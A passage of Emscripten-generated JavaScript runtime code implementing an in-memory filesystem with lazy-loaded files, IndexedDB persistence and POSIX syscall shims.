  4554.                 this.errno = errno;
  4555.                 for (var key in ERRNO_CODES) {
  4556.                     if (ERRNO_CODES[key] === errno) {
  4557.                         this.code = key;
  4558.                         break
  4559.                     }
  4560.                 }
  4561.             }
  4562.             );
  4563.             this.setErrno(errno);
  4564.             this.message = ERRNO_MESSAGES[errno]
  4565.         }
  4566.         ;
  4567.         FS.ErrnoError.prototype = new Error;
  4568.         FS.ErrnoError.prototype.constructor = FS.ErrnoError;
  4569.         [ERRNO_CODES.ENOENT].forEach((function(code) {
  4570.             FS.genericErrors[code] = new FS.ErrnoError(code);
  4571.             FS.genericErrors[code].stack = "<generic error, no stack>"
  4572.         }
  4573.         ))
  4574.     }
  4575.     ),
  4576.     staticInit: (function() {
  4577.         FS.ensureErrnoError();
  4578.         FS.nameTable = new Array(4096);
  4579.         FS.mount(MEMFS, {}, "/");
  4580.         FS.createDefaultDirectories();
  4581.         FS.createDefaultDevices();
  4582.         FS.createSpecialDirectories();
  4583.         FS.filesystems = {
  4584.             "MEMFS": MEMFS,
  4585.             "IDBFS": IDBFS,
  4586.             "NODEFS": NODEFS,
  4587.             "WORKERFS": WORKERFS
  4588.         }
  4589.     }
  4590.     ),
  4591.     init: (function(input, output, error) {
  4592.         assert(!FS.init.initialized, "FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)");
  4593.         FS.init.initialized = true;
  4594.         FS.ensureErrnoError();
  4595.         Module["stdin"] = input || Module["stdin"];
  4596.         Module["stdout"] = output || Module["stdout"];
  4597.         Module["stderr"] = error || Module["stderr"];
  4598.         FS.createStandardStreams()
  4599.     }
  4600.     ),
  4601.     quit: (function() {
  4602.         FS.init.initialized = false;
  4603.         var fflush = Module["_fflush"];
  4604.         if (fflush)
  4605.             fflush(0);
  4606.         for (var i = 0; i < FS.streams.length; i++) {
  4607.             var stream = FS.streams[i];
  4608.             if (!stream) {
  4609.                 continue
  4610.             }
  4611.             FS.close(stream)
  4612.         }
  4613.     }
  4614.     ),
  4615.     getMode: (function(canRead, canWrite) {
  4616.         var mode = 0;
  4617.         if (canRead)
  4618.             mode |= 292 | 73;
  4619.         if (canWrite)
  4620.             mode |= 146;
  4621.         return mode
  4622.     }
  4623.     ),
  4624.     joinPath: (function(parts, forceRelative) {
  4625.         var path = PATH.join.apply(null, parts);
  4626.         if (forceRelative && path[0] == "/")
  4627.             path = path.substr(1);
  4628.         return path
  4629.     }
  4630.     ),
  4631.     absolutePath: (function(relative, base) {
  4632.         return PATH.resolve(base, relative)
  4633.     }
  4634.     ),
  4635.     standardizePath: (function(path) {
  4636.         return PATH.normalize(path)
  4637.     }
  4638.     ),
  4639.     findObject: (function(path, dontResolveLastLink) {
  4640.         var ret = FS.analyzePath(path, dontResolveLastLink);
  4641.         if (ret.exists) {
  4642.             return ret.object
  4643.         } else {
  4644.             ___setErrNo(ret.error);
  4645.             return null
  4646.         }
  4647.     }
  4648.     ),
  4649.     analyzePath: (function(path, dontResolveLastLink) {
  4650.         try {
  4651.             var lookup = FS.lookupPath(path, {
  4652.                 follow: !dontResolveLastLink
  4653.             });
  4654.             path = lookup.path
  4655.         } catch (e) {}
  4656.         var ret = {
  4657.             isRoot: false,
  4658.             exists: false,
  4659.             error: 0,
  4660.             name: null,
  4661.             path: null,
  4662.             object: null,
  4663.             parentExists: false,
  4664.             parentPath: null,
  4665.             parentObject: null
  4666.         };
  4667.         try {
  4668.             var lookup = FS.lookupPath(path, {
  4669.                 parent: true
  4670.             });
  4671.             ret.parentExists = true;
  4672.             ret.parentPath = lookup.path;
  4673.             ret.parentObject = lookup.node;
  4674.             ret.name = PATH.basename(path);
  4675.             lookup = FS.lookupPath(path, {
  4676.                 follow: !dontResolveLastLink
  4677.             });
  4678.             ret.exists = true;
  4679.             ret.path = lookup.path;
  4680.             ret.object = lookup.node;
  4681.             ret.name = lookup.node.name;
  4682.             ret.isRoot = lookup.path === "/"
  4683.         } catch (e) {
  4684.             ret.error = e.errno
  4685.         }
  4686.         return ret
  4687.     }
  4688.     ),
  4689.     createFolder: (function(parent, name, canRead, canWrite) {
  4690.         var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4691.         var mode = FS.getMode(canRead, canWrite);
  4692.         return FS.mkdir(path, mode)
  4693.     }
  4694.     ),
  4695.     createPath: (function(parent, path, canRead, canWrite) {
  4696.         parent = typeof parent === "string" ? parent : FS.getPath(parent);
  4697.         var parts = path.split("/").reverse();
  4698.         while (parts.length) {
  4699.             var part = parts.pop();
  4700.             if (!part)
  4701.                 continue;
  4702.             var current = PATH.join2(parent, part);
  4703.             try {
  4704.                 FS.mkdir(current)
  4705.             } catch (e) {}
  4706.             parent = current
  4707.         }
  4708.         return current
  4709.     }
  4710.     ),
  4711.     createFile: (function(parent, name, properties, canRead, canWrite) {
  4712.         var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4713.         var mode = FS.getMode(canRead, canWrite);
  4714.         return FS.create(path, mode)
  4715.     }
  4716.     ),
  4717.     createDataFile: (function(parent, name, data, canRead, canWrite, canOwn) {
  4718.         var path = name ? PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name) : parent;
  4719.         var mode = FS.getMode(canRead, canWrite);
  4720.         var node = FS.create(path, mode);
  4721.         if (data) {
  4722.             if (typeof data === "string") {
  4723.                 var arr = new Array(data.length);
  4724.                 for (var i = 0, len = data.length; i < len; ++i)
  4725.                     arr[i] = data.charCodeAt(i);
  4726.                 data = arr
  4727.             }
  4728.             FS.chmod(node, mode | 146);
  4729.             var stream = FS.open(node, "w");
  4730.             FS.write(stream, data, 0, data.length, 0, canOwn);
  4731.             FS.close(stream);
  4732.             FS.chmod(node, mode)
  4733.         }
  4734.         return node
  4735.     }
  4736.     ),
  4737.     createDevice: (function(parent, name, input, output) {
  4738.         var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4739.         var mode = FS.getMode(!!input, !!output);
  4740.         if (!FS.createDevice.major)
  4741.             FS.createDevice.major = 64;
  4742.         var dev = FS.makedev(FS.createDevice.major++, 0);
  4743.         FS.registerDevice(dev, {
  4744.             open: (function(stream) {
  4745.                 stream.seekable = false
  4746.             }
  4747.             ),
  4748.             close: (function(stream) {
  4749.                 if (output && output.buffer && output.buffer.length) {
  4750.                     output(10)
  4751.                 }
  4752.             }
  4753.             ),
  4754.             read: (function(stream, buffer, offset, length, pos) {
  4755.                 var bytesRead = 0;
  4756.                 for (var i = 0; i < length; i++) {
  4757.                     var result;
  4758.                     try {
  4759.                         result = input()
  4760.                     } catch (e) {
  4761.                         throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4762.                     }
  4763.                     if (result === undefined && bytesRead === 0) {
  4764.                         throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)
  4765.                     }
  4766.                     if (result === null || result === undefined)
  4767.                         break;
  4768.                     bytesRead++;
  4769.                     buffer[offset + i] = result
  4770.                 }
  4771.                 if (bytesRead) {
  4772.                     stream.node.timestamp = Date.now()
  4773.                 }
  4774.                 return bytesRead
  4775.             }
  4776.             ),
  4777.             write: (function(stream, buffer, offset, length, pos) {
  4778.                 for (var i = 0; i < length; i++) {
  4779.                     try {
  4780.                         output(buffer[offset + i])
  4781.                     } catch (e) {
  4782.                         throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4783.                     }
  4784.                 }
  4785.                 if (length) {
  4786.                     stream.node.timestamp = Date.now()
  4787.                 }
  4788.                 return i
  4789.             }
  4790.             )
  4791.         });
  4792.         return FS.mkdev(path, mode, dev)
  4793.     }
  4794.     ),
  4795.     createLink: (function(parent, name, target, canRead, canWrite) {
  4796.         var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4797.         return FS.symlink(target, path)
  4798.     }
  4799.     ),
  4800.     forceLoadFile: (function(obj) {
  4801.         if (obj.isDevice || obj.isFolder || obj.link || obj.contents)
  4802.             return true;
  4803.         var success = true;
  4804.         if (typeof XMLHttpRequest !== "undefined") {
  4805.             throw new Error("Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.")
  4806.         } else if (Module["read"]) {
  4807.             try {
  4808.                 obj.contents = intArrayFromString(Module["read"](obj.url), true);
  4809.                 obj.usedBytes = obj.contents.length
  4810.             } catch (e) {
  4811.                 success = false
  4812.             }
  4813.         } else {
  4814.             throw new Error("Cannot load without read() or XMLHttpRequest.")
  4815.         }
  4816.         if (!success)
  4817.             ___setErrNo(ERRNO_CODES.EIO);
  4818.         return success
  4819.     }
  4820.     ),
  4821.     createLazyFile: (function(parent, name, url, canRead, canWrite) {
  4822.         function LazyUint8Array() {
  4823.             this.lengthKnown = false;
  4824.             this.chunks = []
  4825.         }
  4826.         LazyUint8Array.prototype.get = function LazyUint8Array_get(idx) {
  4827.             if (idx > this.length - 1 || idx < 0) {
  4828.                 return undefined
  4829.             }
  4830.             var chunkOffset = idx % this.chunkSize;
  4831.             var chunkNum = idx / this.chunkSize | 0;
  4832.             return this.getter(chunkNum)[chunkOffset]
  4833.         }
  4834.         ;
  4835.         LazyUint8Array.prototype.setDataGetter = function LazyUint8Array_setDataGetter(getter) {
  4836.             this.getter = getter
  4837.         }
  4838.         ;
  4839.         LazyUint8Array.prototype.cacheLength = function LazyUint8Array_cacheLength() {
  4840.             var xhr = new XMLHttpRequest;
  4841.             xhr.open("HEAD", url, false);
  4842.             xhr.send(null);
  4843.             if (!(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304))
  4844.                 throw new Error("Couldn't load " + url + ". Status: " + xhr.status);
  4845.             var datalength = Number(xhr.getResponseHeader("Content-length"));
  4846.             var header;
  4847.             var hasByteServing = (header = xhr.getResponseHeader("Accept-Ranges")) && header === "bytes";
  4848.             var usesGzip = (header = xhr.getResponseHeader("Content-Encoding")) && header === "gzip";
  4849.             var chunkSize = 1024 * 1024;
  4850.             if (!hasByteServing)
  4851.                 chunkSize = datalength;
  4852.             var doXHR = (function(from, to) {
  4853.                 if (from > to)
  4854.                     throw new Error("invalid range (" + from + ", " + to + ") or no bytes requested!");
  4855.                 if (to > datalength - 1)
  4856.                     throw new Error("only " + datalength + " bytes available! programmer error!");
  4857.                 var xhr = new XMLHttpRequest;
  4858.                 xhr.open("GET", url, false);
  4859.                 if (datalength !== chunkSize)
  4860.                     xhr.setRequestHeader("Range", "bytes=" + from + "-" + to);
  4861.                 if (typeof Uint8Array != "undefined")
  4862.                     xhr.responseType = "arraybuffer";
  4863.                 if (xhr.overrideMimeType) {
  4864.                     xhr.overrideMimeType("text/plain; charset=x-user-defined")
  4865.                 }
  4866.                 xhr.send(null);
  4867.                 if (!(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304))
  4868.                     throw new Error("Couldn't load " + url + ". Status: " + xhr.status);
  4869.                 if (xhr.response !== undefined) {
  4870.                     return new Uint8Array(xhr.response || [])
  4871.                 } else {
  4872.                     return intArrayFromString(xhr.responseText || "", true)
  4873.                 }
  4874.             }
  4875.             );
  4876.             var lazyArray = this;
  4877.             lazyArray.setDataGetter((function(chunkNum) {
  4878.                 var start = chunkNum * chunkSize;
  4879.                 var end = (chunkNum + 1) * chunkSize - 1;
  4880.                 end = Math.min(end, datalength - 1);
  4881.                 if (typeof lazyArray.chunks[chunkNum] === "undefined") {
  4882.                     lazyArray.chunks[chunkNum] = doXHR(start, end)
  4883.                 }
  4884.                 if (typeof lazyArray.chunks[chunkNum] === "undefined")
  4885.                     throw new Error("doXHR failed!");
  4886.                 return lazyArray.chunks[chunkNum]
  4887.             }
  4888.             ));
  4889.             if (usesGzip || !datalength) {
  4890.                 chunkSize = datalength = 1;
  4891.                 datalength = this.getter(0).length;
  4892.                 chunkSize = datalength;
  4893.                 console.log("LazyFiles on gzip forces download of the whole file when length is accessed")
  4894.             }
  4895.             this._length = datalength;
  4896.             this._chunkSize = chunkSize;
  4897.             this.lengthKnown = true
  4898.         }
  4899.         ;
  4900.         if (typeof XMLHttpRequest !== "undefined") {
  4901.             if (!ENVIRONMENT_IS_WORKER)
  4902.                 throw "Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc";
  4903.             var lazyArray = new LazyUint8Array;
  4904.             Object.defineProperties(lazyArray, {
  4905.                 length: {
  4906.                     get: (function() {
  4907.                         if (!this.lengthKnown) {
  4908.                             this.cacheLength()
  4909.                         }
  4910.                         return this._length
  4911.                     }
  4912.                     )
  4913.                 },
  4914.                 chunkSize: {
  4915.                     get: (function() {
  4916.                         if (!this.lengthKnown) {
  4917.                             this.cacheLength()
  4918.                         }
  4919.                         return this._chunkSize
  4920.                     }
  4921.                     )
  4922.                 }
  4923.             });
  4924.             var properties = {
  4925.                 isDevice: false,
  4926.                 contents: lazyArray
  4927.             }
  4928.         } else {
  4929.             var properties = {
  4930.                 isDevice: false,
  4931.                 url: url
  4932.             }
  4933.         }
  4934.         var node = FS.createFile(parent, name, properties, canRead, canWrite);
  4935.         if (properties.contents) {
  4936.             node.contents = properties.contents
  4937.         } else if (properties.url) {
  4938.             node.contents = null;
  4939.             node.url = properties.url
  4940.         }
  4941.         Object.defineProperties(node, {
  4942.             usedBytes: {
  4943.                 get: (function() {
  4944.                     return this.contents.length
  4945.                 }
  4946.                 )
  4947.             }
  4948.         });
  4949.         var stream_ops = {};
  4950.         var keys = Object.keys(node.stream_ops);
  4951.         keys.forEach((function(key) {
  4952.             var fn = node.stream_ops[key];
  4953.             stream_ops[key] = function forceLoadLazyFile() {
  4954.                 if (!FS.forceLoadFile(node)) {
  4955.                     throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4956.                 }
  4957.                 return fn.apply(null, arguments)
  4958.             }
  4959.         }
  4960.         ));
  4961.         stream_ops.read = function stream_ops_read(stream, buffer, offset, length, position) {
  4962.             if (!FS.forceLoadFile(node)) {
  4963.                 throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4964.             }
  4965.             var contents = stream.node.contents;
  4966.             if (position >= contents.length)
  4967.                 return 0;
  4968.             var size = Math.min(contents.length - position, length);
  4969.             assert(size >= 0);
  4970.             if (contents.slice) {
  4971.                 for (var i = 0; i < size; i++) {
  4972.                     buffer[offset + i] = contents[position + i]
  4973.                 }
  4974.             } else {
  4975.                 for (var i = 0; i < size; i++) {
  4976.                     buffer[offset + i] = contents.get(position + i)
  4977.                 }
  4978.             }
  4979.             return size
  4980.         }
  4981.         ;
  4982.         node.stream_ops = stream_ops;
  4983.         return node
  4984.     }
  4985.     ),
  4986.     createPreloadedFile: (function(parent, name, url, canRead, canWrite, onload, onerror, dontCreateFile, canOwn, preFinish) {
  4987.         Browser.init();
  4988.         var fullname = name ? PATH.resolve(PATH.join2(parent, name)) : parent;
  4989.         var dep = getUniqueRunDependency("cp " + fullname);
  4990.         function processData(byteArray) {
  4991.             function finish(byteArray) {
  4992.                 if (preFinish)
  4993.                     preFinish();
  4994.                 if (!dontCreateFile) {
  4995.                     FS.createDataFile(parent, name, byteArray, canRead, canWrite, canOwn)
  4996.                 }
  4997.                 if (onload)
  4998.                     onload();
  4999.                 removeRunDependency(dep)
  5000.             }
  5001.             var handled = false;
  5002.             Module["preloadPlugins"].forEach((function(plugin) {
  5003.                 if (handled)
  5004.                     return;
  5005.                 if (plugin["canHandle"](fullname)) {
  5006.                     plugin["handle"](byteArray, fullname, finish, (function() {
  5007.                         if (onerror)
  5008.                             onerror();
  5009.                         removeRunDependency(dep)
  5010.                     }
  5011.                     ));
  5012.                     handled = true
  5013.                 }
  5014.             }
  5015.             ));
  5016.             if (!handled)
  5017.                 finish(byteArray)
  5018.         }
  5019.         addRunDependency(dep);
  5020.         if (typeof url == "string") {
  5021.             Browser.asyncLoad(url, (function(byteArray) {
  5022.                 processData(byteArray)
  5023.             }
  5024.             ), onerror)
  5025.         } else {
  5026.             processData(url)
  5027.         }
  5028.     }
  5029.     ),
  5030.     indexedDB: (function() {
  5031.         return window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB
  5032.     }
  5033.     ),
  5034.     DB_NAME: (function() {
  5035.         return "EM_FS_" + window.location.pathname
  5036.     }
  5037.     ),
  5038.     DB_VERSION: 20,
  5039.     DB_STORE_NAME: "FILE_DATA",
  5040.     saveFilesToDB: (function(paths, onload, onerror) {
  5041.         onload = onload || (function() {}
  5042.         );
  5043.         onerror = onerror || (function() {}
  5044.         );
  5045.         var indexedDB = FS.indexedDB();
  5046.         try {
  5047.             var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION)
  5048.         } catch (e) {
  5049.             return onerror(e)
  5050.         }
  5051.         openRequest.onupgradeneeded = function openRequest_onupgradeneeded() {
  5052.             console.log("creating db");
  5053.             var db = openRequest.result;
  5054.             db.createObjectStore(FS.DB_STORE_NAME)
  5055.         }
  5056.         ;
  5057.         openRequest.onsuccess = function openRequest_onsuccess() {
  5058.             var db = openRequest.result;
  5059.             var transaction = db.transaction([FS.DB_STORE_NAME], "readwrite");
  5060.             var files = transaction.objectStore(FS.DB_STORE_NAME);
  5061.             var ok = 0
  5062.               , fail = 0
  5063.               , total = paths.length;
  5064.             function finish() {
  5065.                 if (fail == 0)
  5066.                     onload();
  5067.                 else
  5068.                     onerror()
  5069.             }
  5070.             paths.forEach((function(path) {
  5071.                 var putRequest = files.put(FS.analyzePath(path).object.contents, path);
  5072.                 putRequest.onsuccess = function putRequest_onsuccess() {
  5073.                     ok++;
  5074.                     if (ok + fail == total)
  5075.                         finish()
  5076.                 }
  5077.                 ;
  5078.                 putRequest.onerror = function putRequest_onerror() {
  5079.                     fail++;
  5080.                     if (ok + fail == total)
  5081.                         finish()
  5082.                 }
  5083.             }
  5084.             ));
  5085.             transaction.onerror = onerror
  5086.         }
  5087.         ;
  5088.         openRequest.onerror = onerror
  5089.     }
  5090.     ),
  5091.     loadFilesFromDB: (function(paths, onload, onerror) {
  5092.         onload = onload || (function() {}
  5093.         );
  5094.         onerror = onerror || (function() {}
  5095.         );
  5096.         var indexedDB = FS.indexedDB();
  5097.         try {
  5098.             var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION)
  5099.         } catch (e) {
  5100.             return onerror(e)
  5101.         }
  5102.         openRequest.onupgradeneeded = onerror;
  5103.         openRequest.onsuccess = function openRequest_onsuccess() {
  5104.             var db = openRequest.result;
  5105.             try {
  5106.                 var transaction = db.transaction([FS.DB_STORE_NAME], "readonly")
  5107.             } catch (e) {
  5108.                 onerror(e);
  5109.                 return
  5110.             }
  5111.             var files = transaction.objectStore(FS.DB_STORE_NAME);
  5112.             var ok = 0
  5113.               , fail = 0
  5114.               , total = paths.length;
  5115.             function finish() {
  5116.                 if (fail == 0)
  5117.                     onload();
  5118.                 else
  5119.                     onerror()
  5120.             }
  5121.             paths.forEach((function(path) {
  5122.                 var getRequest = files.get(path);
  5123.                 getRequest.onsuccess = function getRequest_onsuccess() {
  5124.                     if (FS.analyzePath(path).exists) {
  5125.                         FS.unlink(path)
  5126.                     }
  5127.                     FS.createDataFile(PATH.dirname(path), PATH.basename(path), getRequest.result, true, true, true);
  5128.                     ok++;
  5129.                     if (ok + fail == total)
  5130.                         finish()
  5131.                 }
  5132.                 ;
  5133.                 getRequest.onerror = function getRequest_onerror() {
  5134.                     fail++;
  5135.                     if (ok + fail == total)
  5136.                         finish()
  5137.                 }
  5138.             }
  5139.             ));
  5140.             transaction.onerror = onerror
  5141.         }
  5142.         ;
  5143.         openRequest.onerror = onerror
  5144.     }
  5145.     )
  5146. };
  5147. var SYSCALLS = {
  5148.     DEFAULT_POLLMASK: 5,
  5149.     mappings: {},
  5150.     umask: 511,
  5151.     calculateAt: (function(dirfd, path) {
  5152.         if (path[0] !== "/") {
  5153.             var dir;
  5154.             if (dirfd === -100) {
  5155.                 dir = FS.cwd()
  5156.             } else {
  5157.                 var dirstream = FS.getStream(dirfd);
  5158.                 if (!dirstream)
  5159.                     throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  5160.                 dir = dirstream.path
  5161.             }
  5162.             path = PATH.join2(dir, path)
  5163.         }
  5164.         return path
  5165.     }
  5166.     ),
  5167.     doStat: (function(func, path, buf) {
  5168.         try {
  5169.             var stat = func(path)
  5170.         } catch (e) {
  5171.             if (e && e.node && PATH.normalize(path) !== PATH.normalize(FS.getPath(e.node))) {
  5172.                 return -ERRNO_CODES.ENOTDIR
  5173.             }
  5174.             throw e
  5175.         }
  5176.         HEAP32[buf >> 2] = stat.dev;
  5177.         HEAP32[buf + 4 >> 2] = 0;
  5178.         HEAP32[buf + 8 >> 2] = stat.ino;
  5179.         HEAP32[buf + 12 >> 2] = stat.mode;
  5180.         HEAP32[buf + 16 >> 2] = stat.nlink;
  5181.         HEAP32[buf + 20 >> 2] = stat.uid;
  5182.         HEAP32[buf + 24 >> 2] = stat.gid;
  5183.         HEAP32[buf + 28 >> 2] = stat.rdev;
  5184.         HEAP32[buf + 32 >> 2] = 0;
  5185.         HEAP32[buf + 36 >> 2] = stat.size;
  5186.         HEAP32[buf + 40 >> 2] = 4096;
  5187.         HEAP32[buf + 44 >> 2] = stat.blocks;
  5188.         HEAP32[buf + 48 >> 2] = stat.atime.getTime() / 1e3 | 0;
  5189.         HEAP32[buf + 52 >> 2] = 0;
  5190.         HEAP32[buf + 56 >> 2] = stat.mtime.getTime() / 1e3 | 0;
  5191.         HEAP32[buf + 60 >> 2] = 0;
  5192.         HEAP32[buf + 64 >> 2] = stat.ctime.getTime() / 1e3 | 0;
  5193.         HEAP32[buf + 68 >> 2] = 0;
  5194.         HEAP32[buf + 72 >> 2] = stat.ino;
  5195.         return 0
  5196.     }
  5197.     ),
  5198.     doMsync: (function(addr, stream, len, flags) {
  5199.         var buffer = new Uint8Array(HEAPU8.subarray(addr, addr + len));
  5200.         FS.msync(stream, buffer, 0, len, flags)
  5201.     }
  5202.     ),
  5203.     doMkdir: (function(path, mode) {
  5204.         path = PATH.normalize(path);
  5205.         if (path[path.length - 1] === "/")
  5206.             path = path.substr(0, path.length - 1);
  5207.         FS.mkdir(path, mode, 0);
  5208.         return 0
  5209.     }
  5210.     ),
  5211.     doMknod: (function(path, mode, dev) {
  5212.         switch (mode & 61440) {
  5213.         case 32768:
  5214.         case 8192:
  5215.         case 24576:
  5216.         case 4096:
  5217.         case 49152:
  5218.             break;
  5219.         default:
  5220.             return -ERRNO_CODES.EINVAL
  5221.         }
  5222.         FS.mknod(path, mode, dev);
  5223.         return 0
  5224.     }
  5225.     ),
  5226.     doReadlink: (function(path, buf, bufsize) {
  5227.         if (bufsize <= 0)
  5228.             return -ERRNO_CODES.EINVAL;
  5229.         var ret = FS.readlink(path);
  5230.         var len = Math.min(bufsize, lengthBytesUTF8(ret));
  5231.         var endChar = HEAP8[buf + len];
  5232.         stringToUTF8(ret, buf, bufsize + 1);
  5233.         HEAP8[buf + len] = endChar;
  5234.         return len
  5235.     }
  5236.     ),
  5237.     doAccess: (function(path, amode) {
  5238.         if (amode & ~7) {
  5239.             return -ERRNO_CODES.EINVAL
  5240.         }
  5241.         var node;
  5242.         var lookup = FS.lookupPath(path, {
  5243.             follow: true
  5244.         });
  5245.         node = lookup.node;
  5246.         var perms = "";
  5247.         if (amode & 4)
  5248.             perms += "r";
  5249.         if (amode & 2)
  5250.             perms += "w";
  5251.         if (amode & 1)
  5252.             perms += "x";
  5253.         if (perms && FS.nodePermissions(node, perms)) {
  5254.             return -ERRNO_CODES.EACCES
  5255.         }
  5256.         return 0
  5257.     }
  5258.     ),
  5259.     doDup: (function(path, flags, suggestFD) {
  5260.         var suggest = FS.getStream(suggestFD);
  5261.         if (suggest)
  5262.             FS.close(suggest);
  5263.         return FS.open(path, flags, 0, suggestFD, suggestFD).fd
  5264.     }
  5265.     ),
  5266.     doReadv: (function(stream, iov, iovcnt, offset) {
  5267.         var ret = 0;
  5268.         for (var i = 0; i < iovcnt; i++) {
  5269.             var ptr = HEAP32[iov + i * 8 >> 2];
  5270.             var len = HEAP32[iov + (i * 8 + 4) >> 2];
  5271.             var curr = FS.read(stream, HEAP8, ptr, len, offset);
  5272.             if (curr < 0)
  5273.                 return -1;
  5274.             ret += curr;
  5275.             if (curr < len)
  5276.                 break
  5277.         }
  5278.         return ret
  5279.     }
  5280.     ),
  5281.     doWritev: (function(stream, iov, iovcnt, offset) {
  5282.         var ret = 0;
  5283.         for (var i = 0; i < iovcnt; i++) {
  5284.             var ptr = HEAP32[iov + i * 8 >> 2];
  5285.             var len = HEAP32[iov + (i * 8 + 4) >> 2];
  5286.             var curr = FS.write(stream, HEAP8, ptr, len, offset);
  5287.             if (curr < 0)
  5288.                 return -1;
  5289.             ret += curr
  5290.         }
  5291.         return ret
  5292.     }
  5293.     ),
  5294.     varargs: 0,
  5295.     get: (function(varargs) {
  5296.         SYSCALLS.varargs += 4;
  5297.         var ret = HEAP32[SYSCALLS.varargs - 4 >> 2];
  5298.         return ret
  5299.     }
  5300.     ),
  5301.     getStr: (function() {
  5302.         var ret = Pointer_stringify(SYSCALLS.get());
  5303.         return ret
  5304.     }
  5305.     ),
  5306.     getStreamFromFD: (function() {
  5307.         var stream = FS.getStream(SYSCALLS.get());
  5308.         if (!stream)
  5309.             throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  5310.         return stream
  5311.     }
  5312.     ),
  5313.     getSocketFromFD: (function() {
  5314.         var socket = SOCKFS.getSocket(SYSCALLS.get());
  5315.         if (!socket)
  5316.             throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  5317.         return socket
  5318.     }
  5319.     ),
  5320.     getSocketAddress: (function(allowNull) {
  5321.         var addrp = SYSCALLS.get()
  5322.           , addrlen = SYSCALLS.get();
  5323.         if (allowNull && addrp === 0)
  5324.             return null;
  5325.         var info = __read_sockaddr(addrp, addrlen);
  5326.         if (info.errno)
  5327.             throw new FS.ErrnoError(info.errno);
  5328.         info.addr = DNS.lookup_addr(info.addr) || info.addr;
  5329.         return info
  5330.     }
  5331.     ),
  5332.     get64: (function() {
  5333.         var low = SYSCALLS.get()
  5334.           , high = SYSCALLS.get();
  5335.         if (low >= 0)
  5336.             assert(high === 0);
  5337.         else
  5338.             assert(high === -1);
  5339.         return low
  5340.     }
  5341.     ),
  5342.     getZero: (function() {
  5343.         assert(SYSCALLS.get() === 0)
  5344.     }
  5345.     )
  5346. };
  5347. function ___syscall20(which, varargs) {
  5348.     SYSCALLS.varargs = varargs;
  5349.     try {
  5350.         return PROCINFO.pid
  5351.     } catch (e) {
  5352.         if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError))
  5353.             abort(e);
  5354.         return -e.errno
  5355.     }
  5356. }
  5357. var ___tm_current = STATICTOP;
  5358. STATICTOP += 48;
  5359. var ___tm_timezone = allocate(intArrayFromString("GMT"), "i8", ALLOC_STATIC);
  5360. function _gmtime_r(time, tmPtr) {
  5361.     var date = new Date(HEAP32[time >> 2] * 1e3);
  5362.     HEAP32[tmPtr >> 2] = date.getUTCSeconds();
  5363.     HEAP32[tmPtr + 4 >> 2] = date.getUTCMinutes();
  5364.     HEAP32[tmPtr + 8 >> 2] = date.getUTCHours();
  5365.     HEAP32[tmPtr + 12 >> 2] = date.getUTCDate();
  5366.     HEAP32[tmPtr + 16 >> 2] = date.getUTCMonth();
  5367.     HEAP32[tmPtr + 20 >> 2] = date.getUTCFullYear() - 1900;
  5368.     HEAP32[tmPtr + 24 >> 2] = date.getUTCDay();
  5369.     HEAP32[tmPtr + 36 >> 2] = 0;
  5370.     HEAP32[tmPtr + 32 >> 2] = 0;
  5371.     var start = Date.UTC(date.getUTCFullYear(), 0, 1, 0, 0, 0, 0);
  5372.     var yday = (date.getTime() - start) / (1e3 * 60 * 60 * 24) | 0;
  5373.     HEAP32[tmPtr + 28 >> 2] = yday;
  5374.     HEAP32[tmPtr + 40 >> 2] = ___tm_timezone;
  5375.     return tmPtr
  5376. }
  5377. function _gmtime(time) {
  5378.     return _gmtime_r(time, ___tm_current)
  5379. }
  5380. function ___lock() {}
  5381. function ___unlock() {}
  5382. function ___syscall6(which, varargs) {
  5383.     SYSCALLS.varargs = varargs;
  5384.     try {
  5385.         var stream = SYSCALLS.getStreamFromFD();
  5386.         FS.close(stream);
  5387.         return 0
  5388.     } catch (e) {
  5389.         if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError))
  5390.             abort(e);
  5391.         return -e.errno
  5392.     }
  5393. }
  5394. function _emscripten_memcpy_big(dest, src, num) {
  5395.     HEAPU8.set(HEAPU8.subarray(src, src + num), dest);
  5396.     return dest
  5397. }
  5398. function _ftime(p) {
  5399.     var millis = Date.now();
  5400.     HEAP32[p >> 2] = millis / 1e3 | 0;
  5401.     HEAP16[p + 4 >> 1] = millis % 1e3;
  5402.     HEAP16[p + 6 >> 1] = 0;
  5403.     HEAP16[p + 8 >> 1] = 0;
  5404.     return 0
  5405. }
  5406. function ___syscall140(which, varargs) {
  5407.     SYSCALLS.varargs = varargs;
  5408.     try {
  5409.         var stream = SYSCALLS.getStreamFromFD()
  5410.           , offset_high = SYSCALLS.get()
  5411.           , offset_low = SYSCALLS.get()
  5412.           , result = SYSCALLS.get()
  5413.           , whence = SYSCALLS.get();
  5414.         var offset = offset_low;
  5415.         FS.llseek(stream, offset, whence);
  5416.         HEAP32[result >> 2] = stream.position;
  5417.         if (stream.getdents && offset === 0 && whence === 0)
  5418.             stream.getdents = null;
  5419.         return 0
  5420.     } catch (e) {
  5421.         if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError))
  5422.             abort(e);
  5423.         return -e.errno
  5424.     }
  5425. }
  5426. function ___syscall146(which, varargs) {
  5427.     SYSCALLS.varargs = varargs;
  5428.     try {
  5429.         var stream = SYSCALLS.getStreamFromFD()
